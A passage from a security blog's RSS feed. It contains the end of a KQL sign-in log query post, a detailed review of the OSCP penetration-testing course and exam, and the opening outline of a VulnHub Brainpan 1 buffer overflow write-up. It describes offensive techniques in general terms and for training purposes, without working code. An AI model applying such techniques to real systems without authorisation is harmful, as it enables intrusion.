&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#66d9ef">where&lt;/span> Category &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;SignInLogs&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">or&lt;/span> Category &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;NonInteractiveUserSignInLogs&amp;#34;&lt;/span> &lt;span style="color:#f92672">//&lt;/span> Filter the category &lt;span style="color:#66d9ef">of&lt;/span> logs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#66d9ef">where&lt;/span> UserPrincipalName &lt;span style="color:#f92672">==&lt;/span> upn &lt;span style="color:#f92672">//&lt;/span> Filter &lt;span style="color:#66d9ef">on&lt;/span> UserPrincipalName
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">//&lt;/span> Extend &lt;span style="color:#66d9ef">and&lt;/span> handle the DeviceDetail &lt;span style="color:#66d9ef">column&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> extend DeviceDetail &lt;span style="color:#f92672">=&lt;/span> iff(isempty(DeviceDetail_dynamic) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>, parse_json(DeviceDetail_string), DeviceDetail_dynamic)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">//&lt;/span> Extend &lt;span style="color:#66d9ef">and&lt;/span> handle the LocationDetails &lt;span style="color:#66d9ef">column&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> extend LocationDetails &lt;span style="color:#f92672">=&lt;/span> iff(isempty(LocationDetails_dynamic) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>, parse_json(LocationDetails_string), LocationDetails_dynamic)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">//&lt;/span> Extend &lt;span style="color:#66d9ef">and&lt;/span> handle the MfaDetail &lt;span style="color:#66d9ef">column&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> extend MfaDetail &lt;span style="color:#f92672">=&lt;/span> iff(isempty(MfaDetail_dynamic) &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>, parse_json(MfaDetail_string), MfaDetail_dynamic)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">//&lt;/span> Project useful information &lt;span style="color:#66d9ef">for&lt;/span> investigation &lt;span style="color:#66d9ef">and&lt;/span> analysis
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> project TimeGenerated, UserPrincipalName, AuthenticationRequirement, MfaDetail.authMethod, IsInteractive, ResultType, IPAddress, LocationDetails.countryOrRegion, LocationDetails.city, AppDisplayName, DeviceDetail.operatingSystem, ClientAppUsed, DeviceDetail.browser, UserAgent
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">|&lt;/span> sort &lt;span style="color:#66d9ef">by&lt;/span> TimeGenerated &lt;span style="color:#66d9ef">desc&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This query comes in handy when investigating sign-in related incidents and will give some useful information to work with for our analysis.&lt;/p>
&lt;p>&lt;img src="10.png" alt="&amp;ldquo;Final Query Results&amp;rdquo;">&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>KQL in essence is a an easy language to start with especially if you have a background in either PowerShell or SQL. Knowing how to query multiple tables, parse different data types and project relevant information is a useful skill to have and aids in daily investigation and analysis.&lt;/p></description></item><item><title>Offensive Security Penetration Testing with Kali Linux Review</title><link>https://isroot.nl/2019/08/12/offensive-security-penetration-testing-with-kali-linux-review/</link><pubDate>Mon, 12 Aug 2019 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2019/08/12/offensive-security-penetration-testing-with-kali-linux-review/</guid><description>&lt;p>&lt;a href="https://www.offensive-security.com/pwk-oscp/">Offensive Security&amp;rsquo;s Penetration Testing with Kali Linux&lt;/a> (PWK) course is one of the most recognized ethical hacking and penetration testing courses within the information security industry. It made a name for itself and did so for good reason.&lt;/p>
&lt;p>The course is known to be very practical, hands-on, and equal parts frustrating as well as difficult. Offensive Security does not want you to just know the theory, they want you to develop and demonstrate practical ability. Because of this the PWK course is not for everyone as the time commitment and persistence needed to pass can be off-putting for some individuals.&lt;/p>
&lt;p>Offensive Security has a well-known mindset often expressed in two words that you will become quite familiar with sooner rather than later. &lt;strong>&lt;a href="https://www.offensive-security.com/offsec/what-it-means-to-try-harder/">Try Harder&lt;/a>&lt;/strong> while sometimes misunderstood is as much a mindset as it is a motto and statement of encouragement. With the PWK course they try to instil this mindset in their own unique way.&lt;/p>
&lt;h2 id="plan-comparison">Plan Comparison&lt;/h2>
&lt;p>Offensive Security offers the PWK course in three plans.&lt;/p>
&lt;p>Each plan includes the 350+ page course guide, several hours of video content and an attempt at the Offensive Security Certified Professional (OSCP) exam. The only difference between the plans is the amount of time you have access to the student lab where you can practice the course exercises, develop your methodology and penetration testing skills.&lt;/p>
&lt;p>While initially purchasing the course lab access can be purchased for thirty, sixty or ninety days, an exam voucher can also be purchased separately in case you fail the exam on your first attempt. Take note however that it is not possible to just purchase an exam voucher, you have to purchase the PWK course before you are allowed to take the OSCP exam.&lt;/p>
&lt;p>&lt;img src="01.png" alt="&amp;ldquo;Plan Comparison&amp;rdquo;">&lt;/p>
&lt;p>After initial purchase lab access can be extended in fifteen, thirty, sixty- or ninety-day increments offering a flexible way to extend if you feel you need more time to progress through the student lab.&lt;/p>
&lt;p>&lt;img src="02.png" alt="&amp;ldquo;Lab Extension&amp;rdquo;">&lt;/p>
&lt;p>When purchasing I opted for ninety days of lab access giving me plenty of time to work through the course materials and also spend a good amount of time within the student lab.&lt;/p>
&lt;h2 id="registration-and-purchasing">Registration and Purchasing&lt;/h2>
&lt;p>Offensive Security has a rather meticulous process for individuals that want to purchase the PWK course, using an application process that starts by filling out the &lt;a href="https://www.offensive-security.com/registration?cid=21">student application form&lt;/a>. When submitted you will receive an email from Offensive Security stating the course prerequisites, information about the course material, student lab and pricing. It also includes a unique course registration link should you decide to purchase the course.&lt;/p>
&lt;p>When you enrol Offensive Security will verify your identity by using the email address you provided. In case email identity verification fails they will contact you and ask for an alternate email address or a copy of your passport or driver’s license.&lt;/p>
&lt;p>If you want to avoid sending them a copy of either document you should use an email address containing your name and use a domain name owned by you, your employer or a university you attend to increase the chance of identity verification through email. Free email addresses such as Outlook, Gmail or Yahoo will not suffice.&lt;/p>
&lt;p>For some reason Offensive Security was not able to verify my identity and they asked me for additional information. This process was very straight forward and it only took them a few hours to verify my additional details before I could enrol in the course.&lt;/p>
&lt;p>Once your identity is verified you will receive a post registration email containing a link to a &lt;a href="https://support.offensive-security.com/pwk-kali-vm/">custom version&lt;/a> of the Kali Linux operating system that Offensive Security recommends while working through the course materials and exercises. It also contains detailed information on how to perform a &lt;a href="https://support.offensive-security.com/pwk-connectivity-guide/#connectivity-test">VPN connectivity test&lt;/a> to the student lab. If the VPN connectivity test is successful you can proceed to make payment for the course.&lt;/p>
&lt;p>When payment is received Offensive Security sends one more email confirming registration and also lists your start date for the PWK course. They will include a personal purchase link so you do not have to go through the registration process again if you wish to purchase other Offensive Security courses or a lab extension.&lt;/p>
&lt;p>As stated before Offensive Security has their own meticulous process for individuals that want to purchase the PWK course. During the enrolment process they provide a lot of information about the course to make sure you know what you are getting yourself into.&lt;/p>
&lt;blockquote>
&lt;p>Be advised that a waiting list of four to six weeks is not unheard of. Please keep this in mind if you want to enrol.&lt;/p>
&lt;/blockquote>
&lt;h2 id="the-course-content">The Course Content&lt;/h2>
&lt;p>On your course start date you will receive an email containing several links to download the course guide, accompanying videos and a VPN connectivity pack to connect to the student lab. The email also contains information on how to connect to the student lab control panel and your personal virtual machine. This virtual machine is used for a multitude of course exercises and can come in handy while developing or testing exploits.&lt;/p>
&lt;p>The course guide is split up in an introductory module, seventeen modules on penetration testing and the penetration testing process and a bonus module that combines all the content in an action-packed real-world penetration test for your entertainment and to solidify understanding. If you want more details on the course guide and what it covers the syllabus can be found &lt;a href="https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf">here&lt;/a>.&lt;/p>
&lt;p>I appreciate that the course begins with the basics of Kali Linux and an introduction to scripting in both &lt;a href="https://en.wikipedia.org/wiki/Bash_(Unix_shell)">Bash&lt;/a> and &lt;a href="https://en.wikipedia.org/wiki/Python_(programming_language)">Python&lt;/a> while following up with some essential tools like &lt;a href="https://en.wikipedia.org/wiki/Netcat">Netcat&lt;/a> and &lt;a href="https://en.wikipedia.org/wiki/Wireshark">Wireshark&lt;/a>. For some this might be boring stuff but as the course is also geared towards less experienced individuals I really appreciate they put this in.&lt;/p>
&lt;p>The exercises contained within the first few modules really help you feel more at home on the command line and make sure you know some of the tools that make up the swiss army knife of network troubleshooting and by extension penetration testing all without making it too complex to understand. While overlooked by many Netcat and Wireshark are incredibly versatile tools in your arsenal and skipping this part of the course is doing yourself a disservice in the long run.&lt;/p>
&lt;p>The material also includes basic information gathering and enumeration techniques for various services before getting into the more exciting stuff such as &lt;a href="https://en.wikipedia.org/wiki/Stack_buffer_overflow">stack based buffer overflows&lt;/a>, &lt;a href="https://en.wikipedia.org/wiki/Privilege_escalation">privilege escalation&lt;/a>, &lt;a href="https://en.wikipedia.org/wiki/Client-side">client side attacks&lt;/a> and port redirection and tunnelling.&lt;/p>
&lt;p>The modules on stack based buffer overflows and client side attacks while daunting at first are probably my favourites within the course along with the port redirection and tunnelling module. While it is hard to wrap your head around the last one when you first read through the module it all comes together once you start practicing it in the student lab. Understanding the techniques explained in this module opens up a world of possibilities. Once mastered you will never look the same way at that firewall or network design again.&lt;/p>
&lt;p>While it is tempting to jump straight into the more interesting looking modules or skip the course material all together and jump straight into the student lab I recommend against this unless you are an experienced penetration tester. The content is very well laid out and beginning with the first module and working through it until the end is probably the best course of action for beginners.&lt;/p>
&lt;h2 id="the-videos">The Videos&lt;/h2>
&lt;p>The videos accompany the course content very well and are usually short and to the point focusing on the task at hand without adding fluff. This is ideal if you want to reference something later as you do not have to skip through long videos to find what you are looking for.&lt;/p>
&lt;p>Some of the trainer’s dry comments after successfully completing an exercise or task are also quite hilarious and once you heard them you start to appreciate them throughout the remaining video content. They will make you laugh more than once in the eight hours of video available.&lt;/p>
&lt;h2 id="the-exercises">The Exercises&lt;/h2>
&lt;p>There are plenty of exercises spread throughout the course material, some easier than others and most of them depend on access to either your virtual machine or the student lab.&lt;/p>
&lt;p>I highly recommend doing the exercises as they solidify your understanding and help you to get to know the lab environment and some of the vulnerable machines within it. This will give you a starting point to compromise your first machines. If you do decide to jump straight into the lab and become frustrated with your progress go back to the course material and exercises as you are in over your head.&lt;/p>
&lt;p>The exercises can also be appended to a &lt;a href="https://support.offensive-security.com/pwk-reporting/">lab report&lt;/a> should you decide to make one which is advisable because it gives you the opportunity to earn &lt;a href="https://support.offensive-security.com/oscp-exam-guide/#bonus-points">five additional bonus points&lt;/a> for the OSCP exam.&lt;/p>
&lt;h2 id="the-lab">The Lab&lt;/h2>
&lt;p>&lt;img src="03.png" alt="&amp;ldquo;The PWK Student Lab&amp;rdquo;">&lt;/p>
&lt;p>The student lab is the bread and butter of the PWK course and a living environment containing various different operating systems and vulnerable software.&lt;/p>
&lt;p>The lab also spans several different networks and contains multiple automated users and machines that are dependent on one another in such a way that some of them cannot be compromised without valuable information found elsewhere in the lab. Contrary to popular belief this lab is not just a Capture the Flag with to goal to get root or system level privileges as fast as possible and move on, approach it as such and you are going to have a bad time.&lt;/p>
&lt;p>While working through the lab you start to notice a lot of care has been taken to put it together and develop it. There are several well placed hints for those who are looking and while most of the systems and software are a bit older and exploits are readily available this lab is still no walk in the park. Offensive Security has its own methods to add a little twist here and there making sure you start thinking out of the box instead of just firing off exploits and winning.&lt;/p>
&lt;p>Like many others before you, you will encounter your fair share of frustration, mental breakdowns and sometimes start to question your sanity while on your travels through the lab. The feeling when you finally do root that box or find that valuable piece of information to move forward after days of trying is an incredible feeling though.&lt;/p>
&lt;p>While tempting to save time, money or both completing only part of the student lab while probably enough to pass the exam is a waste. If you have not compromised several boxes in the multitude of adjacent networks along with a substantial portion of the student network I highly recommend extending your lab time, not because you could not pass the exam, you probably could but because there are so much more valuable lessons to learn.&lt;/p>
&lt;p>The lab is quite addicting and once you complete the course and the OSCP exam you start to miss it. While you can go back to complete those machines you did not compromise after completing the OSCP exam you probably won&amp;rsquo;t so take your time in the lab leaving no stone unturned!&lt;/p>
&lt;h2 id="the-lab-report">The Lab Report&lt;/h2>
&lt;p>If you value the five bonus points mentioned earlier you are encouraged to document and report the findings of your lab adventures back to Offensive Security in a professional &lt;a href="https://support.offensive-security.com/pwk-reporting/">lab report&lt;/a>. The lab report should contain your findings and a walk-through including proof of no less than ten compromised machines. Each machine should be compromised through a unique vulnerability. Using the same vulnerability twice on different machines will not count. The lab report should also contain documentation on all of the course exercises as an appendix.&lt;/p>
&lt;p>In the end I did not submit a lab report with my exam documentation mostly due to reasons stated &lt;a href="https://isroot.nl/2019/08/12/offensive-security-penetration-testing-with-kali-linux-review/#study-method">below&lt;/a>. If you decide not to submit the report for the five bonus points I still highly recommend documenting ten machines while using the &lt;a href="https://www.offensive-security.com/pwk-online/PWKv1-REPORT.doc">template&lt;/a> Offensive Security provides as it is good practice for the reporting portion of the exam. You do not want to start figuring out the template and &lt;a href="https://support.offensive-security.com/oscp-exam-guide/">reporting requirements&lt;/a> after you just had a gruelling twenty-four-hour exam and need to document your findings.&lt;/p>
&lt;h2 id="study-method">Study Method&lt;/h2>
&lt;p>My study method during the course followed a simple approach:&lt;/p>
&lt;ul>
&lt;li>Watch the video of a certain piece of content&lt;/li>
&lt;li>Read the content in the accompanying course guide&lt;/li>
&lt;li>Do the exercises referencing the video and guide where needed&lt;/li>
&lt;li>Make notes where needed for later reference&lt;/li>
&lt;/ul>
&lt;p>Combining all the course material in this way worked well for me and made sure I was not getting bored doing just one part of the materials. In some cases, I went a bit beyond the exercises and tried my luck in the student lab attacking a box here and there.&lt;/p>
&lt;p>In the beginning of the course I made sure to go back to the approach mentioned above, the lab is addicting though and I spend more and more time in the lab neglecting the last few exercises I had left. While I don&amp;rsquo;t regret this, it did result in several hours of frustration on boxes that I could have compromised in a lot less time had I followed my own approach above and did the exercises.&lt;/p>
&lt;p>It also resulted in the decision to not submit a lab report with my exam documentation as I ran out of lab time to finish the remaining exercises losing out on the five bonus points that could be earned.&lt;/p>
&lt;h2 id="study-tips">Study Tips&lt;/h2>
&lt;p>Let me start by stating the following very important piece of advice: The PWK and the road to OSCP is a journey not a destination. For most the journey will not end with obtaining the OSCP certification if you want to pursue a career in this field. Do not hurry through this course, put in the time and effort to give yourself a solid foundation, you will be glad you did in the end.&lt;/p>
&lt;p>Adding to the above statement the most valuable skills you will develop during this course are not how to compromise boxes nor will you learn the latest hacking techniques instead the most valuable skills you will develop are &lt;strong>methodology&lt;/strong> and &lt;strong>mindset&lt;/strong>. They will stay with you for the rest of your career and are incredibly valuable.&lt;/p>
&lt;p>If you are new to this field you will get stuck somewhere eventually and feel defeated or frustrated about your progress on a box, the lab in general or how your methodology is failing you. This is normal and will teach you valuable lessons. Failing is part of learning and being stuck on a box for hours or sometimes even days is not a shame nor a problem. Remember the try harder mindset, embrace it and in time you will progress through the lab cracking it box by box, user by user and network by network.&lt;/p>
&lt;p>While some advice to avoid the &lt;a href="https://forums.offensive-security.com">student forums&lt;/a> I am not a fan of this advice. You cannot look for or educate yourself on topics or techniques you don&amp;rsquo;t know even exist and sometimes a little hint is all you need to start your search in the right direction and see that path forward to solve the challenge that lays before you. I will advise however to use the forums sparingly and as a last resort as most of what you have to know really is in the course guide and accompanying videos.&lt;/p>
&lt;p>A more intuitive way to use the student forums is to gain information on other ways to compromise a target once you have the highest privileges possible. If you look well enough and read between the lines you can often get a glimpse into minds and methods of your fellow students and most likely learn something new from those perspectives.&lt;/p>
&lt;p>Learning to document and make notes is a skill you will develop while working through the course materials and the lab. If I look back at notes of the first boxes I compromised they were honestly not all that good compared to later in the course. While following a template such as &lt;a href="https://maikthulhu.github.io/2017-11-20-onenote-layout/">this one&lt;/a> is a very good way to kickstart your documentation and note taking methodology refining it towards your own preferences as early as possible is a very good idea and worth putting time and effort in.&lt;/p>
&lt;p>Knowing the above here is some more advice you should take to heart:&lt;/p>
&lt;ul>
&lt;li>Enumerate, enumerate, enumerate! Did I say enumerate?&lt;/li>
&lt;li>Become comfortable with and learn to pivot in the labs&lt;/li>
&lt;li>Stuck in the lab? You probably did not enumerate enough!&lt;/li>
&lt;li>Work on your documentation immediately after compromising a machine&lt;/li>
&lt;li>Do not skip the exercises if you are just getting started in this field&lt;/li>
&lt;li>Stuck on a box for hours? Skip it and come back later, it might very well have a dependency&lt;/li>
&lt;li>Document ten or more boxes, even if you do not want to submit a lab report. It is valuable practice for the exam&lt;/li>
&lt;li>Take your time in the student lab, gaining experience from all the boxes is the most valuable part of the course&lt;/li>
&lt;li>Spend some time looking through a box once you fully compromised it, there might be information you can use to your advantage&lt;/li>
&lt;li>Take some time in the lab to develop your documentation and reporting skills like hacking boxes it is part of what you have to learn&lt;/li>
&lt;/ul>
&lt;h2 id="exam-proctoring">Exam Proctoring&lt;/h2>
&lt;p>In July of 2018 Offensive Security announced &lt;a href="https://www.offensive-security.com/offsec/proctoring/">exam proctoring&lt;/a> for the OSCP exam. While this decision was received with mixed feelings by the information security community I am of the opinion that it is the right decision if strengthens the integrity of the OSCP exam and certification in the long run.&lt;/p>
&lt;p>I did my OSCP exam on the 30th of May which means I was subject to a proctored exam. Overall the process was very straight forward. Before starting the exam, you have to turn on your webcam by way of navigating to a website and start a webcam session so the proctors can monitor you and your surroundings.&lt;/p>
&lt;p>You also have to install a program so the proctors can view all your connected screens. The proctors will verify your identity by checking your passport through the webcam and ask you to show the room in which your will perform your exam. Once al pre-exam verification is completed the proctors will release your exam and you will receive your exam information and exam VPN connectivity pack by email. All this takes about fifteen to twenty minutes so make sure you are ready about half an hour before your exam starts.&lt;/p>
&lt;p>In the beginning of your exam it is a very strange feeling to be continually watched. I felt more at ease after an hour or so and a couple of hours in you won’t even notice someone is monitoring your every move. The proctors are very polite and professional and some of their names (they use aliases) are pretty funny to see once they pop up in the chat window.&lt;/p>
&lt;p>While you are performing your exam, you can take breaks as much as you want, as long as you want. You can also sleep during the exam. All as long as you inform the proctors when you are going on a break and when you come back. They will sometimes ask you to refresh the webcam page, for me this was usually after I came back from a break so it did not interrupt my exam experience in a negative or meaningful way.&lt;/p>
&lt;p>I would strongly advice against it, as you need your focus on the exam but having a significant other, children or other family members of the household in the room while you are performing your exam is also not a problem, just inform the proctors so they know in advance.&lt;/p>
&lt;h2 id="the-exam">The Exam&lt;/h2>
&lt;p>I have a whole lot of mixed feelings about this exam, it is long, it is exhausting, it is frustrating at times. It is an emotional roller coaster when you get your first shell, when you root a box and simultaneously get a slap in the face because you get stuck for several hours on another one and bang your head against your desk because you do not see a solution for the problem while it is most likely right in front of you.&lt;/p>
&lt;p>On the other hand, looking back at all of it, it was very doable in the twenty-four hours Offensive Security gives you and in the end I even had some time to sleep and double, even triple check my documentation to make sure I had everything needed to write my exam report the next day.&lt;/p>
&lt;h3 id="box-one">Box One&lt;/h3>
&lt;p>I started my exam at exactly 14:00 GMT immediately focusing my attention on the box known to have a stack based buffer overflow vulnerability, developing my Proof of Concept and exploiting the machine while making my documentation along the way.&lt;/p>
&lt;p>I practiced the BoF process till I could do it with my eyes closed and the time invested paid off big time as I submitted the proof to the exam control panel around 16:00 compromising the box in about two hours flat and the added benefit that a substantial portion of my documentation was already done.&lt;/p>
&lt;h3 id="box-two">Box Two&lt;/h3>
&lt;p>After this I focused my attention on the second high point box and while I identified a possible entry point rather quickly I could not get it to work at first. After about an hour and a half of trying my moral was down and I started to focus my attention on the lowest point box.&lt;/p>
&lt;h3 id="box-three">Box Three&lt;/h3>
&lt;p>This box was a fun challenge. After some through enumeration I found an exploit for a piece of software. With some fiddling and trial and error I was rewarded for my efforts and submitted proof of my success to the exam control panel around 19:30.&lt;/p>
&lt;h3 id="box-four-and-five">Box Four and Five&lt;/h3>
&lt;p>After compromising the low point box morale was up and I started enumerating both middle of the pack point boxes looking for a clue on which box I should focus my attention next. Something on one of the boxes caught my eye and I started to focus on it while my enumeration kept running on the other box.&lt;/p>
&lt;h3 id="box-four">Box Four&lt;/h3>
&lt;p>Hello enumeration, my old friend! My true and trusted methodology was the only thing saving my ass while taking on this box.&lt;/p>
&lt;p>I am sure I would have failed the exam had I not trusted in it religiously after it helped me countless times in the labs. The box finally fell around 22:00 and I submitted the proof with a big smile on my face in the exam control panel.&lt;/p>
&lt;h3 id="box-two-again">Box Two (Again)&lt;/h3>
&lt;p>With two boxes to go and a hunch for a shell on the second high pointer I started to poke at it once again and around 23:00 I gained a shell on the box.&lt;/p>
&lt;p>I tried escalating privileges for about an hour but with three boxes rooted and a low privilege shell on this one I decided to notify the proctors that I was going to get some sleep and called it a night around 00:00.&lt;/p>
&lt;h3 id="box-five">Box Five&lt;/h3>
&lt;p>I woke up around 05:00 in the morning knowing what I had to do. I took some coffee and told the friendly proctors who were waiting for me that I was back at it.&lt;/p>
&lt;p>Having compromised three boxes and with a low privilege shell on the second high pointer I quickly reviewed the enumeration I started on box five the night before and decided to use my Metasploit attempt. Partly because I saw no added benefit to use it on the second high pointer and also because I wanted quick results on box five.&lt;/p>
&lt;p>I could not suppress my excitement when the box stopped resisting my almost perfectly planned efforts. He was done for, I won! I submitted the proof of my endeavours with box five around 06:30 realising I had enough points to pass.&lt;/p>
&lt;h3 id="box-two-attempt-three">Box Two (Attempt Three)&lt;/h3>
&lt;p>With four boxes rooted and a low privilege shell on the second high pointer I started trying to escalate privileges on this box again. After banging my head against this for several hours without results I decided to accept my defeat and started focusing on my documentation instead.&lt;/p>
&lt;p>I went through the BoF again triple checking everything. Collected my payloads and the commands used to compromise the other boxes, tested them again and made sure I had all the proof and screenshots needed.&lt;/p>
&lt;p>At 12:00 I checked everything again and was tired enough to ask the proctors if I could end my exam early. They were polite and understanding, asked me if I was sure, I confirmed and thanked them for staying with me all this time.&lt;/p>
&lt;p>I went for a quick sleep, knowing I most likely passed if I did not screw up royally on my documentation efforts.&lt;/p>
&lt;h2 id="the-exam-report">The Exam Report&lt;/h2>
&lt;p>When I woke up just a few hours later I started documenting all my findings. I used a modified version of the Offensive Security &lt;a href="https://www.offensive-security.com/pwk-online/PWKv1-REPORT.doc">report template&lt;/a> that I mostly prepared in advance and already contained the documentation on my efforts with the BoF box so I only had to fill in the blanks on the other boxes.&lt;/p>
&lt;p>I kept refining the report and checked time and time again if it fit the &lt;a href="https://support.offensive-security.com/oscp-exam-guide/">reporting requirements&lt;/a> almost paranoid to make a mistake. I finally submitted the exam report at 09:30 on the 1st of June. Offensive Security sent a confirmation they received my documentation about two hours later, and so the waiting game begins!&lt;/p>
&lt;h2 id="confirmation-i-passed">Confirmation, I Passed&lt;/h2>
&lt;p>&lt;img src="04.png" alt="&amp;ldquo;Passing Confirmation&amp;rdquo;">&lt;/p>
&lt;p>It took Offensive Security a few days to review my exam documentation but on the morning of the 6th of June I finally received that email that I had been waiting for and gives you that incredible feeling of relief, I had passed the OSCP!&lt;/p>
&lt;h2 id="exam-tips">Exam Tips&lt;/h2>
&lt;p>Try to unplug and have a good night’s rest on the day before the exam. Try and get some of those nerves under control on exam day, walk into the exam with confidence, think of it as nothing more than the lab where you spent all those hours learning what you know.&lt;/p>
&lt;p>That said I can’t stress enough how important having a solid methodology is to passing this beast. Religiously develop, document and refine your methodology while doing the course exercises and during your time in the labs. Whatever you do during the exam, stick to your own tried and true methodology. No last-minute changes in tools, modifications to scripts or documented enumeration commands. Stick to what you know, when you grow frustrated, tired or feel down during the exam it is the only reliable friend you can depend upon.&lt;/p>
&lt;p>Some people prefer to start early in the day and go at it for hours, others like to start a bit more towards the middle of the day or late at night. All I can say here is pick a time that works for you. When I scheduled my exam, I took a time slot starting at 14:00 GMT. I intended to have three blocks of eight hours to do the practical part of the exam without disturbing my normal sleep pattern too much.&lt;/p>
&lt;ul>
&lt;li>14:00 &amp;gt; 22:00 Exam&lt;/li>
&lt;li>22:00 &amp;gt; 06:00 Sleep&lt;/li>
&lt;li>06:00 &amp;gt; 14:00 Exam&lt;/li>
&lt;/ul>
&lt;p>This left me with sixteen hours to compromise the boxes and while I obviously did not succeed in keeping the exact schedule above it still helped me to get a couple of hours of sleep. I am convinced this helped me think clearly the next day with my attempts on box five.&lt;/p>
&lt;p>Some other important things to keep in mind:&lt;/p>
&lt;ul>
&lt;li>Take regular breaks and drink enough water&lt;/li>
&lt;li>This is a battle of enumeration, leave no stone unturned&lt;/li>
&lt;li>Sleep! Trust me just do it even if it is only a few hours&lt;/li>
&lt;li>Take your time for the buffer overflow, triple check everything&lt;/li>
&lt;li>Save any payload commands you use, you need them for your report&lt;/li>
&lt;li>Do not fear proctoring it is not as bad as you think or read online&lt;/li>
&lt;li>Take proof screenshots immediately after gaining a user or root shell&lt;/li>
&lt;li>Submit the proof flags in the control panel immediately once you obtain them&lt;/li>
&lt;li>Enjoy the exam, like the lab it is a really fun challenge once you get your nerves under control&lt;/li>
&lt;li>Prepare a template penetration test report that you can use to document during and after the exam&lt;/li>
&lt;/ul>
&lt;p>Also remember that failing is part of learning and while it is an awesome feeling to pass on the first try in the worst case you fail, learn something from the experience, refine your methodology and come back stronger and more prepared to try again!&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>The PWK course might be somewhat &lt;strong>outdated&lt;/strong> in the opinion of some and while there might be some merit or truth to this statement I am a firm believer that one should have a firm grasp of the basics and a solid foundation first and foremost.&lt;/p>
&lt;p>In my opinion the course succeeds in laying this foundation, a foundation you can trust and build upon to learn more complex topics faster than you would without it.&lt;/p>
&lt;p>Above all else the course not only teaches you technical skills. It also teaches you &lt;strong>persistence&lt;/strong>, &lt;strong>mindset&lt;/strong> and &lt;strong>methodology&lt;/strong>, skills that are of incredible value should you choose to pursue a career in the information security field or any other.&lt;/p>
&lt;p>After the PWK course you will never think or look at a computer, computer network or piece of software the same way you did before but always have this little voice in the back of your head looking at it from another angle. How can I break it, how can I manipulate it, how do I get this &amp;ldquo;feature&amp;rdquo; to do my bidding instead of taking the way it works for granted.&lt;/p></description></item><item><title>VulnHub Write-Up Brainpan 1</title><link>https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/</link><pubDate>Sun, 12 May 2019 00:00:00 +0100</pubDate><author>hello@isroot.nl (Michael Thelen)</author><guid>https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/</guid><description>&lt;p>In this &lt;strong>long&lt;/strong> post I write a Python exploit from scratch for the Brainpan 1 vulnerable by design virtual machine from &lt;a href="https://www.vulnhub.com/">VulnHub&lt;/a>. The post is written in a &lt;strong>follow along&lt;/strong> kind of way to document my own buffer overflow process and in an attempt help others to understand the subject along the way. If you want to try this challenge yourself it can be downloaded &lt;a href="https://www.vulnhub.com/entry/brainpan-1,51/">here&lt;/a>.&lt;/p>
&lt;p>The process to develop the exploit in this post will follow the following eight steps:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/#debugging-step-1-fuzzing">Step 1 Fuzzing&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/#debugging-step-2-replicating-the-crash">Step 2 Replicating the Crash&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/#debugging-step-3-finding-the-offset-to-the-eip-register">Step 3 Finding the Offset to the EIP Register&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/#debugging-step-4-controlling-the-eip-register">Step 4 Controlling the EIP Register&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/#debugging-step-5-finding-space-for-shellcode">Step 5 Finding Space for Shellcode&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/#debugging-step-6-finding-bad-characters">Step 6 Finding Bad Characters&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/#debugging-step-7-jumping-to-the-esp-register">Step 7 Jumping to the ESP Register&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/#debugging-step-8-writing-the-exploit">Step 8 Writing the Exploit&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="tools-used">Tools Used&lt;/h2>
&lt;ul>
&lt;li>A Windows host or virtual machine&lt;/li>
&lt;li>A Kali Linux host or virtual machine&lt;/li>
&lt;li>&lt;a href="https://www.immunityinc.com/products/debugger/">Immunity Debugger&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/corelan/mona">The Mona Python Script&lt;/a>&lt;/li>
&lt;li>Python&lt;/li>
